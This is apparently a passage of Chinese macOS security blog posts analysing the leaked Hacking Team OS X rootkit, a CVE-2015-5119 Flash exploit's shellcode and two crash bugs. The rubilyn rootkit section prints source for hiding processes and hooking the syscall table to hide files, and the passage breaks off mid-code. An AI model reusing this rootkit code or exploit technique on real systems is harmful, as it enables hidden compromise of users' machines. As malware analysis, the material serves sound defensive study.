• 泄露的 driver-macos-master 项目是一个Mac OS X Rootkit 病毒,从源码看,它可能就是当年红极一时的病毒“OSX.Crisis”,因为两者之间连一些函数名都一模一样(比如关键函数hide_proc、hide_kext_osarray,甚至连废弃的hide_kext_leopard也有),逻辑也基本相同。更为牛逼之处的是,Crisis是在2012年爆发的,而该份代码在2009就已完工,想想之间的差距吧,这也再一次证明Hacking Team的技术实力有多强大。
     
     
    【源码分析】
     
    下面分析下该 OSX rootkit 技术内幕:
     
    1、先从入口函数 mchook_start 开始分析,主要就是注册字符设备,然后在文件系统上创建设备节点,常规的驱动入口行为。
     
     
    对应的字符设备转换表如下:
     
     
    主IOCTL回调函数就下面3个,其中cdev_open和cdev_close为空,整个处理逻辑都包含在cdev_ioctl函数中:
     
     
    2、关键看下cdev_ioctl 回调函数,里面包括各种潜伏隐藏的行为。在mchook.h文件头中就定义了一些cdev_ioctl中调用到的函数,从函数名上基本可以推测出该rootkit包含文件隐藏、进程隐藏、内核模块隐藏等功能。
     
     
    3、进程隐藏:在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在运行的进程,下面是关于隐藏进程的代码,位于hide_proc函数中(还有另一个未被调用到的函数hide_proc_l,也是用于实现相同功能),它相应进程从进程链表和进程Hash表里都移除掉。之前笔者在分析 rubilyn osx rootkit 时,发现它就没有从Hash表里移除进程相关信息,导致可通过“ps -p pid ”命令查找到进程。
     
     
    4、内核模块隐藏:早期针对leopard系统的内核模块隐藏是调用 hide_kext_leopard 函数,现在已经不再使用,它只是简单地遍历kmod_info 内核模块链表结构,找到相匹配的模块名,然后将从它链表中踢除,这样当执行kextstat命令时就查看不到隐藏的内核模块,但这种方法现在无效。
     
     
    为了支持多个系统版本,后来重写了个 hide_kext_osarray 函数。在“雪豹”苹果系统之后,有个叫sLoadedKexts 的 IOKit OSArray类引用到内核模块列表,不过它并没有导出符号,只要能够找到它,那么就可以对sLoadedKexts 数组进行修改,以达到隐藏内核模块的目的。
     
    庆幸的是,OSKext::lookupKextWithLoadTag 函数里面引用到sLoadKexts(源码参见:http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/libkern/c++/OSKext.cpp),通过它可以定位到sLoadKexts地址。
     
     
    它对应的内核模块位于/System/Library/Extensions/System.kext/PlugIns/LibKern.kext/LibKern,不过当用IDA加载分析时,发现它只有导入表的函数信息,并无实际函数,包括PlugIns目录下的其它驱动也是大多如此。进一步分析,发现这些驱动其实都链接到/System/Library/Kernels/kernel里面,可以发现OSKext::lookupKextWithLoadTag函数对应的符号名为__ZN6OSKext21lookupKextWithLoadTagEj。
     
     
    通过该符号即可找到OSKext::lookupKextWithLoadTag函数,然后开始搜索机器 E8,即CALL指令,从上面的源码看,调用的第一个函数是IORecursiveLockLock,然后跳过call指令(共5字节)进入下一条指令。
     
     
    再根据32位/64位系统进行区分,对于32位比较简单,call下一条指令就包含有sLoadedKexts地址,下图就是32位系统Snow Leopard 10.6.8的OSKext::lookupKextWithLoadTag函数,由于笔者缺乏该环境,因此图片是从网上扣来的:
     
     
    但对于64位系统会相对繁琐一些,它先找到机器码 48 8B,即mov指令,获取第2个操作数的实际内存地址,即为sLoadKexts,不过笔者在最新版10.10.4上发现必须是在第2个 48 8B才有效,因此该份rookit只适用于低版本的 64位Leopard系统
     
     
     
    定位到sLoadedKext这个OSArray数组之后, sLoadedKext[OFFT_KEXT_COUNT] =  sLoadedKext[0x14] = 元素个数,即已加载的内核模块个数。接着找到最后一个kext模块的kmod_info结构信息,判断该内核模块是否为com.apple.mdworker,若是则将递减模块数量,进而隐藏kext模块,所以实际要隐藏哪个模块就得去更改com.apple.mdworker为相应的模块名。
     
     
    5、文件隐藏:为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:
     
     
    下面是查看finder进程2841的调用函数,其中的getdirentriesattr在最新版10.10.4上未发现被调用,以下测试是之前在10.9系统上测试的,但是在10.10.4中getdirentriesattr函数依然在syscall.h中被定义着。
     
    riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
     
    dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes
     
      2 1078881          getdirentriesattr:entry 
      2 1363229         getdirentriesattr:return =1
    ……
     
    下面是ls命令(64位系统)调用的函数:
     
     
    因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:
     
     
    为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:
     
     
    回头看源码,发现该rootkit也是对上面这3个函数进行hook:
     
     
    看下其中的hook_getdirentiries64函数,其它类似,主要还是移除指定文件的dirent结构,其中dirent结构原型如下:
     
     
    先调用原始函数,获取真实的文件信息(源码中的direntry对应的其实是dirent结构,在新版版本中这两个结构是独立存在的了):
     
     
    然后遍历文件链表,找到相匹配的文件名,然后用后一个dirent文件结构覆盖当前找到的dirent文件结构,这样就相当于指定的文件结构信息从链表中移除,从而实现文件隐藏的目的。
     
     
    10、官方另外在testuint目录下放有用于测试的rootkit的工具kextControl.c 和 solveKernel.c。
     
     
    【总结】
        
         实际测试时,由于没有合法签名,导致驱动也无法被正常加载,因此未能作实际测试。
     
    15/7/17 下午2:23:27.921 com.apple.kextd[44]: ERROR: invalid signature for com.revenge.kext.machooker, will not load
     
    此次泄露的OSX rootkit 相对还是比较常规的技术,毕竟是2009的源码了,年代久远,但在最新OSX 10.10上稍作修改,应该还是可以用的。
  • 在此次泄露的Flash 0Day的利用代码都包含针对Mac OSX 64位系统的利用,以往在网上看到的大多是windows平台32/64位的利用代码,很少有Mac版的flash利用代码曝光,刚好可以借机分析学习下军用级武器的写法。

     

    【源码分析】

     

    下面以第1HackingTeam泄露的CVE-2015-5119Flash 0day 漏洞中的利用代码为例:

     

    1、内在中暴力搜索Mach-o文件头magic标记0xfeedfacf(类似搜索windows平台下的PEMZ标记),它代表64位程序的意思,也是MacOS X上可执行文件的开头。

     


     

    可以用otool或者MachOView查看Mach-o可执行文件格式:

     


     

    2、在Mach-o文件头之后是加载命令(LoadCommand)区域,接下来程序搜索用于映射文件中的段到进程内存空间的LC_SEGMENT_64加载命令,遍历每个被加载的段,找到包含段标记为S_SYMBOL_STUBS(代表包含符号信息) S_ATTR_PURE_INSTRUCTIONS (代表包含机器码)的段,然后获取段地址Address、偏移量OffsetSizeStubs SizeStubs数量以及Indirect Sym Index(间接符号表索引值)。

     


     


     


     

    3、找到_LINKEDIT 段,从中获取相应的虚拟地址和文件偏移,然后互减得到两者之间的偏移量。

     


     

    4、获取LC_SYMTAB加载命令的相关信息,该命令用于指定文件所使用的符号表,找到后分别获取符号表偏移量、符号数、字符串表偏移量、字符串表大小

     


     


     

    5、获取LC_DYSYMTAB加载命令的相关信息,该命令用于指定动态链接库所使用的符号表,找到后获取间接符号表偏移量

     


     


     

    6、将前面获取的符号表地址、间接符号表地址和字符串表地址分别加上第3步获取的偏移量

     



     

    7、从前面获取的3个值,去字符串表中索引mprotect函数,找到其对应的内存地址,以利用它去真正的shellcode部分赋予可执行权限(这部分与Windows平台上的代码基本一致),以绕过DEP的保护。

     


     

    8、前面都是为执行接下来x64 shellcode代码而作的准备,由于vfork所创建的子进程与父进程共享数据,因此可用于检测是否位于沙盒中,若在沙盒中vfrok会执行失效,进而退出执行。

     


     

    9、通过为syscall指定调用号来调用execve函数,以执行"/Applications/Calulator.app/Contents/MacOS/Calculator”打开计算器,然后再调用exit退出子进程。

     


     

    10、设置返回值为int atom类型,左移3位是为了对最后3 bits 清零,因为它代表着atom类型,再加6是为了设置为int atom类型,因为shellcode相当于自定义函数,它是用于替换payloadJIT函数去执行的,最后弹出栈数据,以维持栈平衡。

     


     



     

    【总结】

     

           此次的Mac OSX 64位平台的利用,主要还是先根据Maco-o文件头标记找到flash模块,然后去索引符号表、间接符号表和字符串表,进而找到mprotect函数的地址,将shellcode内存块设置为可执行权限。真正用于弹出计算器的shellcode代码相对比较简单,向syscall传递调用号来执行execve函数,进而打开指定的程序文件Calculator,实现最终的任意代码执行。

     

  • mac osx 设置goagent自启动

    日期:2013-05-10 | 分类:MAC安全

    riusksk@macosx:/Library/LaunchDaemons$ cat com.go.agent.plist 

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"

            "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

    <plist version="1.0">

    <dict>

           <key>Label</key>

           <string>com.go.agent</string>

           <key>ProgramArguments</key>

           <array>

    <string>python</string>               

    <string>~/goagent/local/proxy.py</string>

    </array>

    <key>RunAtLoad</key>

    <true/>

    </dict>

    </plist>

    riusksk@macosx:/Library/LaunchDaemons$ sudo chown root:wheel /Library/LaunchDaemons/com.go.agent.plist 

    plist脚本内容居然被解析掉了,我晕

  • 迅雷mac版分析笔记

    日期:2013-04-08 | 分类:MAC安全

     

    riusksk@localhost:~$ gdb /Applications/Thunder.app/Contents/MacOS/Thunder

    (gdb) set env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib

    (gdb) r

    Starting program: /Applications/Thunder.app/Contents/MacOS/Thunder 

    GuardMalloc[bash-720]: Allocations will be placed on 16 byte boundaries.

    GuardMalloc[bash-720]:  - Some buffer overruns may not be noticed.

    GuardMalloc[bash-720]:  - Applications using vector instructions (e.g., SSE) should work.

    GuardMalloc[bash-720]: version 25

    GuardMalloc[arch-720]: Allocations will be placed on 16 byte boundaries.

    GuardMalloc[arch-720]:  - Some buffer overruns may not be noticed.

    GuardMalloc[arch-720]:  - Applications using vector instructions (e.g., SSE) should work.

    GuardMalloc[arch-720]: version 25

    Reading symbols for shared libraries ++.+++++++....................................................................................................................................... done

    Reading symbols for shared libraries . done

    GuardMalloc[Thunder-720]: Allocations will be placed on 16 byte boundaries.

    GuardMalloc[Thunder-720]:  - Some buffer overruns may not be noticed.

    GuardMalloc[Thunder-720]:  - Applications using vector instructions (e.g., SSE) should work.

    GuardMalloc[Thunder-720]: version 25

    Reading symbols for shared libraries . done

    ……

    GuardMalloc[rm-728]: Allocations will be placed on 16 byte boundaries.

    GuardMalloc[rm-728]:  - Some buffer overruns may not be noticed.

    GuardMalloc[rm-728]:  - Applications using vector instructions (e.g., SSE) should work.

    GuardMalloc[rm-728]: version 25

    Reading symbols for shared libraries ................................... done

    ……

    . done

    Reading symbols for shared libraries ... done

    Reading symbols for shared libraries ............. done

     

    Program received signal EXC_BAD_ACCESS, Could not access memory.

    Reason: KERN_PROTECTION_FAILURE at address: 0xfefff000

    0xfefff000 in ?? ()

     

    (gdb) bt

    #0  0xfefff000 in ?? ()

    #1  0x0000a3b8 in -[TaskDirCombox awakeFromNib] ()

    #2  0x988d6586 in -[NSObject performSelector:] ()

    #3  0x90310b64 in -[NSSet makeObjectsPerformSelector:] ()

    #4  0x92841011 in -[NSIBObjectData nibInstantiateWithOwner:topLevelObjects:] ()

    #5  0x9281f572 in loadNib ()

    #6  0x9281e94a in +[NSBundle(NSNibLoading) _loadNibFile:nameTable:withZone:ownerBundle:] ()

    #7  0x9296f9a4 in +[NSBundle(NSNibLoading) loadNibFile:externalNameTable:withZone:] ()

    #8  0x9281e61f in +[NSBundle(NSNibLoading) loadNibNamed:owner:] ()

    #9  0x000033ba in -[NewTaskWndController initWithTasks:index:] ()

    #10 0x0000332b in -[NewTaskWndController initWithXLTask:] ()

    #11 0x00009051 in -[TaskController taskInfo] ()

    #12 0x988d65d3 in -[NSObject performSelector:withObject:] ()

    #13 0x9296dbd2 in -[NSApplication sendAction:to:from:] ()

    #14 0x92aaa3dc in -[NSMenuItem _corePerformAction] ()

    #15 0x92aaa06b in -[NSCarbonMenuImpl performActionWithHighlightingForItemAtIndex:] ()

    #16 0x92aa96f4 in -[NSMenu _performActionWithHighlightingForItemAtIndex:sendAccessibilityNotification:] ()

    #17 0x9278a2ba in -[NSMenu performActionForItemAtIndex:] ()

    #18 0x9278a26f in -[NSMenu _internalPerformActionForItemAtIndex:] ()

    #19 0x9278a23a in -[NSMenuItem _internalPerformActionThroughMenuIfPossible] ()

    #20 0x9278a0b9 in -[NSCarbonMenuImpl _carbonCommandProcessEvent:handlerCallRef:] ()

    #21 0x92aa27ce in NSSLMMenuEventHandler ()

    #22 0x90d1eb6b in _InvokeEventHandlerUPP ()

    #23 0x90ba6594 in DispatchEventToHandlers ()

    #24 0x90ba5980 in SendEventToEventTargetInternal ()

    #25 0x90bb9855 in SendEventToEventTarget ()

    #26 0x90d1ea1a in SendHICommandEvent ()

    #27 0x90b95b84 in SendMenuCommandWithContextAndModifiers ()

    #28 0x90b95b31 in SendMenuItemSelectedEvent ()

    #29 0x90b959b6 in FinishMenuSelection ()

    #30 0x90d6bb33 in PopUpMenuSelectCore ()

    #31 0x90d6b392 in _HandlePopUpMenuSelection7 ()

    #32 0x92b32335 in _NSSLMPopUpCarbonMenu3 ()

    #33 0x92b31251 in -[NSCarbonMenuImpl _popUpContextMenu:withEvent:forView:withFont:] ()

    #34 0x92caf0c3 in -[NSMenu _popUpContextMenu:withEvent:forView:withFont:] ()

    #35 0x92caefb6 in -[NSMenu _popUpContextMenu:withEvent:forView:] ()

    #36 0x92cae517 in +[NSMenu popUpContextMenu:withEvent:forView:] ()

    #37 0x00008ce7 in -[TaskController popUpMenu:] ()

    #38 0x0000955c in -[TaskTableView rightMouseDown:] ()

    #39 0x92962bf1 in -[NSWindow sendEvent:] ()

    #40 0x9295da0f in -[NSApplication sendEvent:] ()

    #41 0x9287772c in -[NSApplication run] ()

    #42 0x0000e93d in main ()

     

     

    崩溃前调用的函数:

     

    __text:0000A38A                 mov     eax, ds:(cls_aNsworkspace - 9F60h)[esi] ; class: "NSWorkspace"

    __text:0000A390                 mov     ecx, ds:(msg_aSharedworkspac - 9F60h)[esi] ; message: "sharedWorkspace"

    __text:0000A396                 mov     [esp+4], ecx

    __text:0000A39A                 mov     [esp], eax

    __text:0000A39D                 call    _objc_msgSend

    __text:0000A3A2                 mov     ecx, ds:(msg_aIconforfile - 9F60h)[esi] ; message: "iconForFile:"

    __text:0000A3A8                 mov     [esp+8], ebx ; 指向文件路径.objc_class_name_NSPathStore2>,运行时指向桌面

    __text:0000A3AC                 mov     [esp+4], ecx

    __text:0000A3B0                 mov     [esp], eax

    __text:0000A3B3                 call    _objc_msgSend   ; 进入此函数后崩溃!!!

    __text:0000A3B8                 mov     ebx, eax

     

     

    gdb$ ni

    0x98bbd63e in -[NSWorkspace iconForFile:] ()

    Error while running hook_stop:

    Invalid type combination in equality test.

     

    gdb$ ni

    Program received signal EXC_BAD_ACCESS, Could not access memory.

    Reason: KERN_PROTECTION_FAILURE at address: 0xfefff000

    0xfefff000 in ?? ()

    Error while running hook_stop:

    Invalid type combination in equality test.

     

    gdb$ x/i 0x98bbd63e 

    0x98bbd63e <-[NSWorkspace iconForFile:]+148>: call   0x992a9cf2

     

    gdb$ info r

    eax            0xbfffd66c 0xbfffd66c

    ecx            0xe83be401 0xe83be401

    edx            0x1 0x1

    ebx            0xbfffd670 0xbfffd670

    esp            0xbfffd63c 0xbfffd63c

    ebp            0xbfffe028 0xbfffe028

    esi            0x4d6ae0 0x4d6ae0

    edi            0x98bbd5bb 0x98bbd5bb

    eip            0xfefff000 0xfefff000

    eflags         0x10202 0x10202

    cs             0x1b 0x1b

    ss             0x23 0x23

    ds             0x23 0x23

    es             0x23 0x23

    fs             0x0 0x0

    gs             0xf 0xf

     

     

     

    int __cdecl _TaskDirCombox_awakeFromNib_(int a1)

    {

      void *v1; // ST40_4@1

      void *v2; // ST3C_4@1

      void *v3; // ST38_4@1

      void *v4; // ST34_4@1

      void *v5; // ST30_4@1

      void *v6; // ebx@1

      void *v7; // edi@1

      void *v8; // eax@1

      void *v9; // eax@1

      void *v10; // eax@1

      void *v11; // eax@1

      void *v12; // eax@2

      void *v13; // eax@3

      void *v14; // ebx@3

      void *v15; // eax@4

      void *v16; // ST40_4@5

      void *v17; // eax@5

      void *v18; // ST40_4@7

      void *v19; // eax@7

      int v20; // edi@11

      int v21; // ebx@14

      int v22; // ST3C_4@14

      void *v23; // eax@14

      void *v24; // eax@14

      int v25; // ST40_4@14

      void *v26; // edi@14

      void *v27; // eax@14

      void *v28; // ebx@14

      int result; // eax@16

      void *v30; // [sp+28h] [bp-90h]@1

      int v31; // [sp+2Ch] [bp-8Ch]@10

      void *v32; // [sp+30h] [bp-88h]@9

      void *v33; // [sp+34h] [bp-84h]@9

      char v34; // [sp+40h] [bp-78h]@9

      __int128 v35; // [sp+80h] [bp-38h]@9

      __int128 v36; // [sp+90h] [bp-28h]@9

      char v37; // [sp+A7h] [bp-11h]@5

      int v38; // [sp+A8h] [bp-10h]@1

     

      v30 = __stack_chk_guard_ptr;

      v38 = *(_DWORD *)__stack_chk_guard_ptr;

      objc_msgSend((void *)a1, "setPullsDown:", 0);

      objc_msgSend((void *)a1, "setAutoenablesItems:", 1);

      v1 = objc_msgSend("NSArray", "alloc");

      v2 = objc_msgSend(&cfs_aDesktop, "stringByStandardizingPath");

      v3 = objc_msgSend(&cfs_asc_2ADCA, "stringByStandardizingPath");

      v4 = objc_msgSend(&cfs_aDownloads, "stringByStandardizingPath");

      v5 = objc_msgSend(&cfs_aMovies, "stringByStandardizingPath");

      v6 = objc_msgSend(&cfs_aMusic, "stringByStandardizingPath");

      v7 = objc_msgSend(&cfs_aPictures, "stringByStandardizingPath");

      v8 = objc_msgSend(&cfs_aDocuments, "stringByStandardizingPath");

      *(_DWORD *)(a1 + 96) = objc_msgSend(v1, "initWithObjects:", v2, v3, v4, v5, v6, v7, v8, 0);

      v9 = objc_msgSend("PreferenceManager", "sharedInstance");

      v10 = objc_msgSend(v9, "getArrayValue:defaultVal:", &cfs_aRecenttasksave, 0);

      v11 = objc_msgSend(v10, "mutableCopy");

      *(_DWORD *)(a1 + 100) = v11;

      if ( !v11 )

      {

        v12 = objc_msgSend("NSMutableArray", "alloc");

        *(_DWORD *)(a1 + 100) = objc_msgSend(v12, "init");

      }

      v13 = objc_msgSend("NSMutableArray", "alloc");

      *(_DWORD *)(a1 + 104) = objc_msgSend(v13, "initWithArray:", *(_DWORD *)(a1 + 96));

      v14 = objc_msgSend(*(void **)(a1 + 100), "count");

      while ( 1 )

      {

        v14 = (char *)v14 - 1;

        if ( (signed int)v14 < 0 )

          break;

        v15 = objc_msgSend(*(void **)(a1 + 100), "objectAtIndex:", v14);

        if ( !(unsigned __int8)objc_msgSend((void *)a1, "isDefaultDir:", v15) )

        {

          v37 = 0;

          v16 = objc_msgSend("NSFileManager", "defaultManager");

          v17 = objc_msgSend(*(void **)(a1 + 100), "objectAtIndex:", v14);

          if ( (unsigned __int8)objc_msgSend(v16, "fileExistsAtPath:isDirectory:", v17, &v37) )

          {

            if ( v37 )

            {

              v18 = *(void **)(a1 + 104);

              v19 = objc_msgSend(*(void **)(a1 + 100), "objectAtIndex:", v14);

              objc_msgSend(v18, "addObject:", v19);

            }

          }

        }

      }

      objc_msgSend((void *)a1, "removeAllItems");

      v36 = 0;

      v35 = 0;

      v33 = *(void **)(a1 + 104);

      v32 = objc_msgSend(*(void **)(a1 + 104), "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);

      if ( v32 )

      {

        v31 = *DWORD2(v35);

        do

        {

          v20 = 0;

          do

          {

            if ( *DWORD2(v35) != v31 )

              objc_enumerationMutation(v33);

            v21 = *(_DWORD *)(DWORD1(v35) + 4 * v20);

            v22 = *(_DWORD *)(DWORD1(v35) + 4 * v20);

            v23 = objc_msgSend("NSFileManager", "defaultManager");

            v24 = objc_msgSend(v23, "displayNameAtPath:", v21);

            objc_msgSend((void *)a1, "addItemWithTitle:", v24);

            v25 = v20;

            v26 = objc_msgSend((void *)a1, "lastItem");

            objc_msgSend(v26, "setToolTip:", v22);

            v27 = objc_msgSend("NSWorkspace", "sharedWorkspace");

            v28 = objc_msgSend(v27, "iconForFile:", v22);         //  这里崩溃!!! 

            objc_msgSend(v28, "setSize:", 1098907648, 1098907648);

            objc_msgSend(v26, "setImage:", v28);

            objc_msgSend(v26, "setTarget:", a1);

            objc_msgSend(v26, "setAction:", "selectItem:");

            v20 = v25 + 1;

          }

          while ( v25 + 1 < (unsigned int)v32 );

          v32 = objc_msgSend(v33, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);

        }

        while ( v32 );

      }

      result = *(_DWORD *)v30;

      if ( *(_DWORD *)v30 != v38 )

        __stack_chk_fail();

      return result;

    }

     

     

     

  • mac osx file 链接崩溃简单分析

    日期:2013-02-04 | 分类:MAC安全

     

    输入以下命令触发崩溃并记录crash log:

    sudo sed -i -e 's@File:///@F i l e : / / /@g' /var/log/system.log

     

    查看日志内容,以下是崩溃时的栈回溯:

     

    Feb  4 09:42:42 macosx Console[364]: assertion on /SourceCache/DataDetectorsCore/DataDetectorsCore-269.1/Sources/PushDown/DDResultExtraction.c:1576 "CFStringHasPrefix(urlVal, CFSTR("file://"))" failed :wrong extraction: F i l e : / / /

    Feb  4 09:42:42 macosx Console[364]: wrong extraction: F i l e : / / /

    Feb  4 09:42:42 macosx Console[364]: An uncaught exception was raised

    Feb  4 09:42:42 macosx Console[364]: condition "wrong extraction: F i l e : / / /"

    Feb  4 09:42:42 macosx Console[364]: (

    0   CoreFoundation                      0x00007fff88a290a6 __exceptionPreprocess + 198

    1   libobjc.A.dylib                     0x00007fff888003f0 objc_exception_throw + 43

    2   CoreFoundation                      0x00007fff88a28e7c +[NSException raise:format:] + 204

    3   DataDetectorsCore                   0x00007fff910194f3 DDCrashv + 113

    4   DataDetectorsCore                   0x00007fff910195a6 DDCrash + 148

    5   DataDetectorsCore                   0x00007fff90fe4bd4 DDResultCopyExtractedURL + 718

    6   AppKit                              0x00007fff8e08ed1a checkDataDetectors + 536

    7   AppKit                              0x00007fff8e08c429 NSSpellCheckerCheckString + 13334

    8   AppKit                              0x00007fff8e088f9f -[NSTextCheckingOperation main] + 152

    9   Foundation                          0x00007fff8fbca986 -[__NSOperationInternal start] + 684

    10  Foundation                          0x00007fff8fbd21a1 __block_global_6 + 129

    11  libdispatch.dylib                   0x00007fff8a379f01 _dispatch_call_block_and_release + 15

    12  libdispatch.dylib                   0x00007fff8a3760b6 _dispatch_client_callout + 8

    13  libdispatch.dylib                   0x00007fff8a3771fa _dispatch_worker_thread2 + 304

    14  libsystem_c.dylib                   0x00007fff93c6ecab _pthread_wqthread + 404

    15  libsystem_c.dylib                   0x00007fff93c59171 start_wqthread + 13

    )

     

    程序在调用以下函数时触发崩溃了:

    CFStringHasPrefix(“F i l e : / / /”, CFSTR("file://"));

    该函数主要检测字符串是否以特定字符序列开头。

     

    看下栈回溯,它依次调用了:NSSpellCheckerCheckString =》 checkDataDetectors =》 DDResultCopyExtractedURL

    其中的 NSSpellCheckerCheckString 类主要是用于拼写检查的,接着调用 checkDataDetectors 检查文本中的日期、地址、链接等信息,然后调用 DDResultCopyExtractedURL 提取 URL 地址,此时我们提供的URL为“F i l e : / / /”,与正常链接 file:// 不匹配,因此你用其它不匹配的字符串也可导致崩溃,比如:fiLe、fIle等等。

    BUG代码:

    解决方案:

    方法1:移除数据探测模块

    sudo mv -v /System/Library/PrivateFrameworks/DataDetectorsCore.framework/Versions/A/Resources/com.apple.datadetectorscore.cache.urlifier.system /System/Library/PrivateFrameworks/DataDetectorsCore.framework/Versions/A/Resources/com.apple.datadetectorscore.cache.urlifier.system.backup

     

    方法2:修改模块代码

    将bug代码中的:

    test al,al

    jnz short loc_CBD4

    修改为:

    test al,al

    jmp short loc_CBD4

  • MacOSX rootkit rubilyn 源码分析

    日期:2013-01-03 | 分类:MAC安全

     

    【标题】:MacOSX rootkit rubilyn 源码分析

    【作者】:riusksk

    【博客】:http://riusksk.blogbus.com

    【微博】:http://t.qq.com/riusksk

    【日期】:2013-01-01

     

     

    1、隐藏进程

     

    在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

     

    /* modify allproc to hide a specific pid */

    static int hideproc(int pid)

    {

        struct proc* p;

        if(pid!=0){

    // lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构

            for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next) 

            {

                if(pid == p->p_pid)

                {

                    if(hidden_p_count < MAX_HIDDEN_PROCESS)

                    {

                        hidden_p[hidden_p_count]=p;

                        hidden_p_count++;   

                        my_proc_list_lock();

                        LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素

                        my_proc_list_unlock();

                    }

                }

            }

        }

        return 0;

    }

     

    2、隐藏文件

     

    为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:

     

    下面是 calltrace.d 脚本内容:

     

    riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d 

    pid$target:::entry

    {

       ;

    }

    pid$target:::return

    {

       printf("=%d\n", arg1);

    }

     

    下面是查看finder进程2841的调用函数:

     

    riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir

    dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

     

      2 1078881          getdirentriesattr:entry 

      2 1363229         getdirentriesattr:return =1

    ……

     

    下面是ls命令(64位系统)调用的函数:

     

    riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir

    dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes

    dtrace: pid 3184 has exited

      2 271609          __getdirentries64:entry 

      2 285894         __getdirentries64:return =1980

      2 271609          __getdirentries64:entry 

      2 285894         __getdirentries64:return =0

     

    因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

     

    struct sysent { /* system call table */

    int16_t sy_narg; /* number of args */

    int8_t sy_resv; /* reserved */

    int8_t sy_flags; /* flags */

    sy_call_t *sy_call; /* implementing function */

    sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */

    sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */

    int32_t sy_return_type; /* system call return types */

    uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */

    };

     

    为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

     

    riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

     

    #define SYS_getdirentries  196

    #define SYS_getdirentriesattr 222

    #define SYS_getdirentries64 344

     

    下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64  和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

     

            if(nsysent){

                table = find_sysent();

                if(table){

                    /* back up original syscall pointers */    

                    org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址

                    org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call; 

                    /* replace syscalls in syscall table */

                    table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数

                    table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

     

    两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

     

    struct dirent {

    __uint32_t d_fileno; // 节点号

    __uint16_t d_reclen; // 目录项长度

    __uint8_t  d_type; // 文件类型

    __uint8_t  d_namlen; // 文件名

       #if __BSD_VISIBLE

       #define MAXNAMLEN 255

    char d_name[MAXNAMLEN+1]; // 文件名

       #else

    char d_name[255+1]; // 文件名

       #endif

    }

     

    此处我们只看下 new_getdirentries64 函数,

     

    /* hooked getdirentries64 and friends */

    register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)

    {

        int ret; 

        u_int64_t bcount = 0;

        u_int64_t btot = 0;

        size_t buffersize = 0;

        struct direntry *dirp;

        void *mem = NULL;

        int updated = 0;

        ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息

        btot = buffersize = bcount = *retval;    // 函数返回的字节数

        if(bcount > 0)

        {

            MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK);  // 在内核空间分配bcount大小的内存

            if(mem == NULL)

                return(ret); 

            copyin(uap->buf, mem, bcount);  // 将用户空间数据拷贝到刚分配的内核空间

            dirp = mem;

            while(bcount > 0 && dirp->d_reclen > 0)

            {

                if(dirp->d_reclen > 7)

                    // 搜索指定文件名

